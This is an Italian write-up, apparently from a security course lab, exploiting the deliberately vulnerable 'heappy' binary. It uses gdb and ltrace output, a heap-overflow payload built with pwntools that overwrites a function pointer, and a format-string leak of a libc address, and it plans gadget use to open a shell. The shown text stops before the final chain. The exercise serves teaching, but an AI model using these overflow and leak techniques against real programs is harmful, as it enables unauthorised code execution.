

INDICE

1. Requirements per l'attacco.....	2
2. Analisi statica dell'eseguibile.....	2
3. Funzionamento standard del programma	3
4. Ricerca bug mediante codice sorgente ed analisi dinamica.....	4
5. Ricerca indirizzo base libc: Format String Attack e preparazione primo payload di attacco.....	10
6. Ricerca dei Gadget.....	19
7. Automatizzazione dell'attacco.....	23

1.Requirements per l'attacco

Per iniziare l'exploit è necessario che l'attaccante abbia:

- Gdb;
- pwntools ;
- one_gadget;
- heappy ;
- heappy_patchelf ;
- libc-2.19.so;
- ld-2.19.so.

2.Analisi statica dell'eseguibile

In prima istanza verifichiamo la condizione nella quale andremo a lavorare ovvero vediamo se il programma che attacchiamo presenta stack eseguibile, se ha un canarino per controllare l'overflow del buffer.

Per ottenere queste informazioni eseguiamo il comando "checksec" fornito da pwntools.

```
[# file heappy  
heappy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked  
(uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=01e0557d32e104b7a3a83f9  
cf153dbe1d455fb53, not stripped]
```

```
[(venv) michelemaresca@MBP-di-Michele NS % checksec heappy_patchelf
```

```
[*] '/Users/michelemaresca/Desktop/NS/heappy_patchelf'
```

```
Arch:      amd64-64-little  
RELRO:     Partial RELRO  
Stack:     No canary found  
NX:        NX enabled  
PIE:       No PIE (0x3ff000)
```

3. Funzionamento standard del programma

Di seguito è riportato un esempio di funzionamento del programma in condizioni normali.

```
[(venv) michelemaresca@MacBook-Pro-di-Michele NS % nc localhost 5000
```

```
Choose language:
```

```
[1] English
```

```
[2] Italian
```

```
> 1
```

```
1
```

```
What's your name?
```

```
> Michele
```

```
Michele
```

```
Hello Michele!
```

```
What do you want to do?
```

```
[1] Change name
```

```
[2] Change language
```

```
[3] Exit
```

```
> 2
```

```
2
```

```
Choose language:
```

```
[1] English
```

```
[2] Italian
```

```
> 2
```

```
2
```

```
Ciao Michele!
```

```
Cosa vuoi fare?
```

```
[1] Cambia nome
```

```
[2] Cambia lingua
```

```
[3] Esci
```

```
> 1
```

```
1
```

```
Qual è il tuo nome?
```

```
> Pippo
```

```
Pippo
```

```
Ciao Pippo!
```

```
Cosa vuoi fare?
```

```
[1] Cambia nome
```

```
[2] Cambia lingua
```

```
[3] Esci
```

```
> 3
```

```
3
```

```
Bye bye!
```

4. Ricerca bug mediante codice sorgente ed analisi dinamica

Osserviamo il codice sorgente exploit_chunk_allocator.c reso disponibile

```
#include <stdio.h>
#include <stdlib.h>

struct data {
    char name[128];
};
struct functions {
    void (*greeting)(char* name);
    void (*menu)();
    void (*choose_name)();
};
void ita_greeting(char* name) {
    printf("Ciao %s!\n", name);
}
void en_greeting(char* name) {
    printf("Hello %s!\n", name);
}
void ita_menu() {
    printf("\n");
    printf("Cosa vuoi fare?\n");
    printf("[1] Cambia nome\n");
    printf("[2] Cambia lingua\n");
    printf("[3] Esci\n");
    printf("> ");
}
void en_menu() {
    printf("\n");
    printf("What do you want to do?\n");
    printf("[1] Change name\n");
    printf("[2] Change language\n");
    printf("[3] Exit\n");
    printf("> ");
}
void ita_choose_name() {
    printf("\n");
    printf("Qual è il tuo nome?\n");
    printf("> ");
}
void en_choose_name() {
    printf("\n");
    printf("What's your name?\n");
    printf("> ");
}
void choose_language(struct functions** f) {
    int choice;
    do {
        printf("\n");
        printf("Choose language:\n");
        printf("[1] English\n");
        printf("[2] Italian\n");
        printf("> ");
        scanf("%d", &choice);
    } while (choice <= 0 || choice > 2);
    *f = malloc(sizeof(struct functions));
    if (choice == 1) {
        (*f)->greeting = en_greeting;
        (*f)->menu = en_menu;
        (*f)->choose_name = en_choose_name;
    } else {
```

```

    (*f)->greeting = ita_greeting;
    (*f)->menu = ita_menu;
    (*f)->choose_name = ita_choose_name;
}
}
int main(int argc, char **argv) {
    struct data *d;
    struct functions *f;
    int choice;
    choose_language(&f);
    d = malloc(sizeof(struct data));
    f->choose_name();
    scanf("%s", d->name);
    while(1){
        f->greeting(d->name);
        do {
            f->menu();
            scanf("%d", &choice);
        } while (choice <= 0 || choice > 3);
        if (choice == 1) {
            f->choose_name();
            scanf("%s", d->name);
        } else if (choice == 2) {
            choose_language(&f);
        } else {
            free(f);
            free(d);
            break;
        }
    }
    printf("Bye bye!\n");
    return 0;
}

```

Leggendo il codice alla linea 79 vediamo che viene chiamata la funzione "choose_language"

```
choose_language(&f);
```

Vediamo cosa fa la funzione (linea 53):

Questa ogni volta che viene chiamata alloca un chunk per memorizzare una struct "functions"

```
*f = malloc(sizeof(struct functions));
```

```

struct functions {
    void (*greeting)(char* name);
    void (*menu)();
    void (*choose_name)();
};

```

È possibile notare due cose:

1. Viene allocato un nuovo chunk ogni volta che viene chiamata la funzione choose_language, e leggendo il codice si nota che questa funzione può essere chiamata più volte.
2. La struct "functions" presenta dei puntatori a funzione, poiché in questo modo permette di distinguere i due casi: italiano e inglese.

```

void (*greeting)(char* name);
void (*menu)();
void (*choose_name)();

```

Leggendo il codice alla linea 80 possiamo notare come inizialmente venga allocato un chunk nella memoria heap per "data", questo sarà lo spazio dove viene memorizzato il nome inserito dall'utente.

```
d = malloc(sizeof(struct data));
```

```
struct data {  
    char name[128];  
};
```

Possiamo notare alla linea 91 che la funzione che permette di inserire il nome all'utente introduce una vulnerabilità nel programma.

```
scanf("%s", d->name);
```

Infatti, essa non fa un controllo sulla dimensione dell'input e scrive direttamente il nome appena inserito in memoria heap.

Potrebbe essere il caso di heap overflow.

Proviamo allora ad eseguire il debug del programma

```
[# gdb heappy ]  
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.3) 7.7.1  
Copyright (C) 2014 Free Software Foundation, Inc.  
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>  
This is free software: you are free to change and redistribute it.  
There is NO WARRANTY, to the extent permitted by law. Type "show copying"  
and "show warranty" for details.  
This GDB was configured as "x86_64-linux-gnu".  
Type "show configuration" for configuration details.  
For bug reporting instructions, please see:  
<http://www.gnu.org/software/gdb/bugs/>.  
Find the GDB manual and other documentation resources online at:  
<http://www.gnu.org/software/gdb/documentation/>.  
For help, type "help".  
Type "apropos word" to search for commands related to "word"...  
Reading symbols from heappy...(no debugging symbols found)...done.  
(gdb) █  
  
[(gdb) r ]  
Starting program: /usr/src/app/heappy  
warning: Error disabling address space randomization: Operation not permitted  
  
Choose language:  
[1] English  
[2] Italian  
[> 1 ]  
  
What's your name?  
[> ^C ]  
Program received signal SIGINT, Interrupt.  
0x00007f667a2c3360 in __read_nocancel ()  
    at ../sysdeps/unix/syscall-template.S:81  
81      ../sysdeps/unix/syscall-template.S: No such file or directory.  
(gdb) █
```

A questo punto stoppiamo per un momento l'esecuzione del programma prima di inserire il nome e vediamo com'è fatto l'assembly del main

disas main

```
[(gdb) disas main ]
Dump of assembler code for function main:
0x000000004008c5 <+0>:      push    %rbp
0x000000004008c6 <+1>:      mov     %rsp,%rbp
0x000000004008c9 <+4>:      sub     $0x30,%rsp
0x000000004008cd <+8>:      mov     %edi,-0x24(%rbp)
0x000000004008d0 <+11>:     mov     %rsi,-0x30(%rbp)
0x000000004008d4 <+15>:     lea     -0x10(%rbp),%rax
0x000000004008d8 <+19>:     mov     %rax,%rdi
0x000000004008db <+22>:     callq   0x4007e5 <choose_language>
0x000000004008e0 <+27>:     mov     $0x80,%edi
0x000000004008e5 <+32>:     callq   0x4005b0 <malloc@plt>
0x000000004008ea <+37>:     mov     %rax,-0x8(%rbp)
0x000000004008ee <+41>:     mov     -0x10(%rbp),%rax
0x000000004008f2 <+45>:     mov     0x10(%rax),%rdx
0x000000004008f6 <+49>:     mov     $0x0,%eax
0x000000004008fb <+54>:     callq   *%rdx
0x000000004008fd <+56>:     mov     -0x8(%rbp),%rax
0x00000000400901 <+60>:     mov     %rax,%rsi
0x00000000400904 <+63>:     mov     $0x400b3f,%edi
0x00000000400909 <+68>:     mov     $0x0,%eax
0x0000000040090e <+73>:     callq   0x4005c0 <__isoc99_scanf@plt>
0x00000000400913 <+78>:     mov     -0x10(%rbp),%rax
0x00000000400917 <+82>:     mov     (%rax),%rax
[---Type <return> to continue, or q <return> to quit---]
0x0000000040091a <+85>:     mov     -0x8(%rbp),%rdx
0x0000000040091e <+89>:     mov     %rdx,%rdi
0x00000000400921 <+92>:     callq   *%rax
0x00000000400923 <+94>:     mov     -0x10(%rbp),%rax
0x00000000400927 <+98>:     mov     0x8(%rax),%rdx
0x0000000040092b <+102>:    mov     $0x0,%eax
0x00000000400930 <+107>:    callq   *%rdx
0x00000000400932 <+109>:    lea     -0x14(%rbp),%rax
0x00000000400936 <+113>:    mov     %rax,%rsi
0x00000000400939 <+116>:    mov     $0x400b3c,%edi
0x0000000040093e <+121>:    mov     $0x0,%eax
0x00000000400943 <+126>:    callq   0x4005c0 <__isoc99_scanf@plt>
0x00000000400948 <+131>:    mov     -0x14(%rbp),%eax
0x0000000040094b <+134>:    test    %eax,%eax
0x0000000040094d <+136>:    jle     0x400923 <main+94>
0x0000000040094f <+138>:    mov     -0x14(%rbp),%eax
0x00000000400952 <+141>:    cmp     $0x3,%eax
0x00000000400955 <+144>:    jg      0x400923 <main+94>
0x00000000400957 <+146>:    mov     -0x14(%rbp),%eax
0x0000000040095a <+149>:    cmp     $0x1,%eax
0x0000000040095d <+152>:    jne     0x400986 <main+193>
0x0000000040095f <+154>:    mov     -0x10(%rbp),%rax
0x00000000400963 <+158>:    mov     0x10(%rax),%rdx
[---Type <return> to continue, or q <return> to quit---]
0x00000000400967 <+162>:    mov     $0x0,%eax
0x0000000040096c <+167>:    callq   *%rdx
0x0000000040096e <+169>:    mov     -0x8(%rbp),%rax
0x00000000400972 <+173>:    mov     %rax,%rsi
0x00000000400975 <+176>:    mov     $0x400b3f,%edi
0x0000000040097a <+181>:    mov     $0x0,%eax
0x0000000040097f <+186>:    callq   0x4005c0 <__isoc99_scanf@plt>
0x00000000400984 <+191>:    jmp     0x4009b6 <main+241>
0x00000000400986 <+193>:    mov     -0x14(%rbp),%eax
0x00000000400989 <+196>:    cmp     $0x2,%eax
0x0000000040098c <+199>:    jne     0x40099c <main+215>
0x0000000040098e <+201>:    lea     -0x10(%rbp),%rax
0x00000000400992 <+205>:    mov     %rax,%rdi
0x00000000400995 <+208>:    callq   0x4007e5 <choose_language>
0x0000000040099a <+213>:    jmp     0x4009b6 <main+241>
0x0000000040099c <+215>:    mov     -0x10(%rbp),%rax
0x000000004009a0 <+219>:    mov     %rax,%rdi
0x000000004009a3 <+222>:    callq   0x400550 <free@plt>
0x000000004009a8 <+227>:    mov     -0x8(%rbp),%rax
0x000000004009ac <+231>:    mov     %rax,%rdi
0x000000004009af <+234>:    callq   0x400550 <free@plt>
0x000000004009b4 <+239>:    jmp     0x4009bb <main+246>
0x000000004009b6 <+241>:    jmpq    0x400913 <main+78>
0x000000004009bb <+246>:    mov     $0x400b42,%edi
0x000000004009c0 <+251>:    callq   0x400570 <puts@plt>
0x000000004009c5 <+256>:    mov     $0x0,%eax
0x000000004009ca <+261>:    leaveq  %rax
0x000000004009cb <+262>:    retq
End of assembler dump.
```

Rileggendo anche il codice C del programma e confrontandolo con il main assembly decidiamo di mettere un breakpoint sulla prima chiamata a funzione presente nel ciclo while, relativa alla funzione di greeting che è anche la prima presente nella struct functions, in modo da poter vedere cosa succede prima che il programma ci stampi il saluto.

break *0x400921

```

[(gdb) break *0x400921
Breakpoint 1 at 0x400921
[(gdb) c
Continuing.
AAAAAAA

```

E continuiamo l'esecuzione del programma inserendo AAAAAAAA come nome. Si attiva il breakpoint e possiamo andare a vedere i registri cosa contengono.

```

Breakpoint 1, 0x00000000400921 in main ()
[(gdb) i r
rax            0x4006e1 4196065
rbx            0x0      0
rcx            0x0      0
rdx            0x1a45030 27545648
rsi            0x7f667a5989f0 140078116080112
rdi            0x1a45030 27545648
rbp            0x7ffc0077db00 0x7ffc0077db00
rsp            0x7ffc0077dad0 0x7ffc0077dad0
r8             0x0      0
r9             0x0      0
r10            0x1a45038 27545656
r11            0x246     582
r12            0x4005d0 4195792
r13            0x7ffc0077dbe0 140720316341216
r14            0x0      0
r15            0x0      0
rip            0x400921 0x400921 <main+92>
eflags        0x206     [ PF IF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
(gdb)

```

Nel registro rdi c'è il parametro passato alla funzione ed è il puntatore a name; quindi, è un indirizzo dell'heap dove c'è il chunk associato al nome inserito, infatti ci troviamo il nome: AAAAAAAA (A è 0x41 in esadecimale)

```

[(gdb) x/200xb 0x1a45030
0x1a45030: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1a45038: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45040: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45048: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45050: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45058: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45060: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45068: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45070: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45078: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45080: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45088: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45090: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45098: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a450a0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a450a8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a450b0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a450b8: 0x51 0x0f 0x02 0x00 0x00 0x00 0x00 0x00
0x1a450c0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a450c8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a450d0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a450d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a450e0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a450e8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a450f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
(gdb)

```

È possibile osservare che non è presente alcun indirizzo di ritorno da poter sovrascrivere; quindi, anche se si può effettuare un overflow, questo non porterebbe a niente in questo momento.

Ci ricordiamo che dopo aver scelto un nome è possibile scegliere nuovamente la lingua e, come detto precedentemente, la funzione choose_language alloca un nuovo chunk nell'heap, successivo al chunk del nome, che presenta al suo interno anche un puntatore a funzione.

Questa cosa si può osservare bene anche con ltrace:


```

[# ltrace ./heappy
__libc_start_main(0x4008c5, 1, 0x7ffd53ab8868, 0x4009d0 <unfinished ...>
putchar(10, 0x7ffd53ab8868, 0x7ffd53ab8878, 0
) = 10
puts("Choose language:"Choose language:
) = 17
puts("[1] English"[1] English
) = 12
puts("[2] Italian"[2] Italian
) = 12
printf("> ")
__isoc99_scanf(0x400b3c, 0x7ffd53ab873c, 0x7f4ea90e59e0, 8254> 1
) = 1
malloc(24) = 0x12d7010
malloc(128) = 0x12d7030
putchar(10, 0, 0x4007bc, 0x7f4ea90e3760
) = 10
puts("What's your name?"What's your name?
) = 18
printf("> ")
__isoc99_scanf(0x400b3f, 0x12d7030, 0x7f4ea90e59e0, 8254> Michele
) = 1
printf("Hello %s!\n", "Miche\303le"Hello Miche?le!
) = 16
putchar(10, 0x7fffffff1, 0x40074c, 14
) = 10
puts("What do you want to do?"What do you want to do?
) = 24
puts("[1] Change name"[1] Change name
) = 16
puts("[2] Change language"[2] Change language
) = 20
puts("[3] Exit"[3] Exit
) = 9
printf("> ")
__isoc99_scanf(0x400b3c, 0x7ffd53ab876c, 0x7f4ea90e59e0, 8254> 2
) = 1
putchar(10, 0x7f4ea90e59f0, 1, 16
) = 10
puts("Choose language:"Choose language:
) = 17
puts("[1] English"[1] English
) = 12
puts("[2] Italian"[2] Italian
) = 12
printf("> ")
__isoc99_scanf(0x400b3c, 0x7ffd53ab873c, 0x7f4ea90e59e0, 8254> 2
) = 1
malloc(24) = 0x12d70c0
printf("Ciao %s!\n", "Miche\303le"Ciao Miche?le!
) = 15
putchar(10, 0x7fffffff2, 0x400705, 13
) = 10
puts("Cosa vuoi fare?"Cosa vuoi fare?
) = 16
puts("[1] Cambia nome"[1] Cambia nome
) = 16
puts("[2] Cambia lingua"[2] Cambia lingua
) = 18
puts("[3] Esci"[3] Esci
) = 9
printf("> ")
__isoc99_scanf(0x400b3c, 0x7ffd53ab876c, 0x7f4ea90e59e0, 8254> 3
) = 1
free(0x12d70c0) = <void>
free(0x12d7030) = <void>
puts("Bye bye!"Bye bye!
) = 9
+++ exited (status 0) +++

```

Quindi potremmo effettuare l'overflow e sostituire quel puntatore.

Continuiamo l'esecuzione per verificare quanto detto.

```

[(gdb) c
Continuing.
Hello AAAAAAAA!

What do you want to do?
[1] Change name
[2] Change language
[3] Exit
[> 2

Choose language:
[1] English
[2] Italian
[> 2

Breakpoint 1, 0x000000000400921 in main ()
(gdb) █

```

Vediamo cosa è allocato attualmente nell'heap

x/200xb 0x1a45030

```

(gdb) x/200xb 0x1a45030
0x1a45030: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1a45038: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45040: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45048: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45050: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45058: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45060: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45068: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45070: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45078: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45080: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45088: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45090: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a45098: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a450a0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a450a8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a450b0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a450b8: 0x21 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a450c0: 0xbd 0x06 0x40 0x00 0x00 0x00 0x00 0x00
0x1a450c8: 0x05 0x07 0x40 0x00 0x00 0x00 0x00 0x00
0x1a450d0: 0x93 0x07 0x40 0x00 0x00 0x00 0x00 0x00
0x1a450d8: 0x31 0x0f 0x02 0x00 0x00 0x00 0x00 0x00
0x1a450e0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a450e8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1a450f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
(gdb)

```

A partire da 0x1a450c0, nei successivi 8 byte vediamo un indirizzo di memoria (in formato little endian: sappiamo che il formato è questo grazie all'output del comando *file*, eseguito all'inizio), e se quanto detto precedentemente è corretto, questo dovrebbe essere proprio l'indirizzo della funzione *ita_greeting* (poiché abbiamo scelto la lingua italiana), ovvero 0x4006bd

```

(gdb) disas 0x4006bd
Dump of assembler code for function ita_greeting:
0x00000000004006bd <+0>: push %rbp
0x00000000004006be <+1>: mov %rsp,%rbp
0x00000000004006c1 <+4>: sub $0x10,%rsp
0x00000000004006c5 <+8>: mov %rdi,-0x8(%rbp)
0x00000000004006c9 <+12>: mov -0x8(%rbp),%rax
0x00000000004006cd <+16>: mov %rax,%rsi
0x00000000004006d0 <+19>: mov $0x400a54,%edi
0x00000000004006d5 <+24>: mov $0x0,%eax
0x00000000004006da <+29>: callq 0x400580 <printf@plt>
0x00000000004006df <+34>: leaveq
0x00000000004006e0 <+35>: retq
End of assembler dump.
(gdb)

```

In effetti, questo è l'indirizzo della funzione *ita_greeting*, quindi potremmo sostituire questo con l'indirizzo di un'area di memoria eseguibile in cui è presente uno shellcode.

Quindi, ricapitolando, possiamo eseguire normalmente il programma, scegliendo la prima volta la lingua, scegliendo un nome, successivamente cambiando la lingua, in modo da allocare un nuovo chunk in una zona di memoria heap successiva al chunk per il nome, e poi cambiando il nome, immettendo il payload per effettuare l'overflow e sostituire il puntatore a funzione.

Il problema è che non si può inserire uno shellcode nel buffer che possiamo modificare, poiché il buffer è all'interno dell'heap, che non è eseguibile.

Dobbiamo trovare un altro modo per aprire una shell.

5. Ricerca indirizzo base libc: Format String Attack e preparazione primo payload di attacco

Per cercare un codice che permetta l'esecuzione di una shell possiamo pensare di sfruttare una funzione della libreria *libc*; quindi sostituire l'indirizzo del puntatore a funzione con l'indirizzo di una funzione di *libc* che apre una shell.

Il prossimo ostacolo da superare è risalire all'indirizzo base della libreria libc poiché è in uso l'ASLR (Address Space Layout Randomization).

Usiamo allora un tipo di attacco chiamato Format String attack per risalire all'indirizzo base di libc.

La funzione printf prende come primo parametro una stringa, che interpreta come una "format string": all'interno di tale stringa ci possono essere delle sequenze di controllo (format specifiers), come "%d", "%s" e così via, le quali istruiscono la funzione printf riguardo al fatto di prendersi dei parametri dallo stack e stamparli all'interno della format string, sostituendo le sequenze di controllo. Quando si chiama la printf in C, di solito si passano esplicitamente i parametri; che succede se essa viene chiamata senza parametri? Succede che considera come parametri qualsiasi cosa ci sia sullo stack, ed è possibile specificare un numero arbitrario di parametri. Inoltre, "giocando" con i format specifiers, è anche possibile accedere ai parametri in modo diretto, e non in modo posizionale (ad esempio "%7\$d" vuol dire "stampa come un intero il settimo parametro").

Il riferimento a questo tipo di attacco è al seguente

link: https://owasp.org/www-community/attacks/Format_string_attack

Allora adesso vogliamo sostituire l'indirizzo di ita_greeting con l'indirizzo della printf. Ci serve l'indirizzo della printf nel nostro programma.

Lo possiamo trovare mediante pwntools e lavorare in locale, dato che ci è stato fornito anche il file heappy_patchelf (patchelf è una utility che permette di modificare un eseguibile in modo tale che esso carichi le librerie specificate mediante il comando patchelf al posto di quelle presenti nel sistema in cui il programma viene eseguito).

```
[{env}] michelemaresca@MBP-di-Michele NS % python3 ]
Python 3.8.9 (default, Oct 26 2021, 07:25:54)
[Clang 13.0.0 (clang-1300.0.29.30)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
[>>> from pwn import * ]
[>>> filename = "./heappy_patchelf" ]
[>>> elf = ELF(filename) ]
[*] '/Users/michelemaresca/Desktop/NS/heappy_patchelf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
[>>> target = elf.symbols['printf'] ]
[>>> hex(target) ]
'0x400580'
>>> ]
```

Si può controllare se l'indirizzo trovato (0x400580) è effettivamente l'indirizzo di printf.

```
[(gdb) disas 0x400580 ]
Dump of assembler code for function printf@plt:
0x0000000000400580 <+0>: jmpq *0x200aaa(%rip) # 0x601030 <printf@got.plt>
0x0000000000400586 <+6>: pushq $0x3
0x000000000040058b <+11>: jmpq 0x400540
End of assembler dump.
(gdb) ]
```

La printf trovata con ELF non è la printf della libc ma è della PLT: printf@plt è un wrapper della printf di libc, invece l'indirizzo della printf di libc si trova nella GOT, e si indica come printf@got.

Continuiamo l'esecuzione del programma e, quando ci chiede di scegliere il nome, inviamo un payload che presenta padding fino all'indirizzo da sostituire e poi l'indirizzo 0x400580 in formato little endian.

```
>>> padding = 144
>>> payload = b'A' * padding + p64(target)
>>> payload
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
x00\x00\x00\x00'
>>>
```

Il padding scelto è di 144 byte, questo lo si può comprendere riosservando la memoria heap e notando che la distanza in termini di byte tra l'indirizzo del chunk "name" e l'indirizzo del chunk "functions", al cui inizio è presente un puntatore alla funzione ita_greeting, corrisponde a 144 byte. Per cui facendo precedere i byte di padding all'effettivo indirizzo in formato little endian riusciamo ad ottenere l'overflow dell'heap.

In realtà, dato che la funzione che prende l'input dell'utente è una scanf, bisogna considerare un byte in meno nel payload, poiché la scanf aggiungerà un byte 0 alla fine dell'input. (Questo non ci dà problemi dato che l'indirizzo presenta comunque uno 0 al byte più significativo)

```
>>> payload = payload[:-1]
>>> payload
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
x00\x00\x00'
>>>
```

Il risultato che otteniamo nell'heap, nel caso di corretto invio del payload, è il seguente:

```
(gdb) x/155xb 0x1de3030
0x1de3030: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1de3038: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1de3040: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1de3048: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1de3050: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1de3058: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1de3060: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1de3068: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1de3070: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1de3078: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1de3080: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1de3088: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1de3090: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1de3098: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1de30a0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1de30a8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1de30b0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1de30b8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x1de30c0: 0x80 0x05 0x40 0x00 0x00 0x00 0x00 0x00 0x00
0x1de30c8: 0x00 0x00 0x00
(gdb)
```

Effettuiamo così un overflow che ci ha permesso di sovrascrivere l'indirizzo della funzione ita_greeting con l'indirizzo della printf.

Possiamo così effettuare il format string attack, con l'obiettivo di ottenere dallo stack un indirizzo relativo alla libreria libc.

Dobbiamo individuare quale parametro di ingresso fornire alla printf.

Osserviamo allora lo stack:

```
(gdb) x/60xw $rsp
0x7ffc0afe0af0: 0x0afe0c08      0x00007ffc      0x00000000      0x00000001
0x7ffc0afe0b00: 0x004009d0      0x00000000      0x004005d0      0x00000001
0x7ffc0afe0b10: 0x00d2d0c0      0x00000000      0x00d2d030      0x00000000
0x7ffc0afe0b20: 0x00000000      0x00000000      0x53160f45      0x00007f1f
0x7ffc0afe0b30: 0x00000000      0x00000000      0x0afe0c08      0x00007ffc
0x7ffc0afe0b40: 0x00000000      0x00000001      0x004008c5      0x00000000
0x7ffc0afe0b50: 0x00000000      0x00000000      0xf0008efb      0xf3820aa3
0x7ffc0afe0b60: 0x004005d0      0x00000000      0x0afe0c00      0x00007ffc
0x7ffc0afe0b70: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffc0afe0b80: 0xe6608efb      0x0c7a1f5f      0xedfa8efb      0xdbcac8f
0x7ffc0afe0b90: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffc0afe0ba0: 0x00000000      0x00000000      0x004009d0      0x00000000
0x7ffc0afe0bb0: 0x0afe0c08      0x00007ffc      0x00000001      0x00000000
0x7ffc0afe0bc0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffc0afe0bd0: 0x004005d0      0x00000000      0x0afe0c00      0x00007ffc
```

Proviamo a passare diversi input alla printf con l'obiettivo di stampare un puntatore a libc, es. "%10\$p", "%11\$p", finché non troviamo ciò che ci serve.

Facendo vari tentativi si può individuare il tredicesimo elemento dello stack ("%13\$p") come qualcosa di interessante.

Infatti, esso corrisponde all'indirizzo di ritorno della funzione main, come vedremo tra poco.

Nota: lo stack layout rappresentato in seguito non è lo stesso stack layout visto dalla printf nel momento in cui elabora i format specifiers.

```
(gdb) x/60xw $rsp
0x7ffc0afe0af0: 0x0afe0c08      0x00007ffc      0x00000000      0x00000001
0x7ffc0afe0b00: 0x004009d0      0x00000000      0x004005d0      0x00000001
0x7ffc0afe0b10: 0x00d2d0c0      0x00000000      0x00d2d030      0x00000000
0x7ffc0afe0b20: 0x00000000      0x00000000      0x53160f45      0x00007f1f
0x7ffc0afe0b30: 0x00000000      0x00000000      0x0afe0c08      0x00007ffc
0x7ffc0afe0b40: 0x00000000      0x00000001      0x004008c5      0x00000000
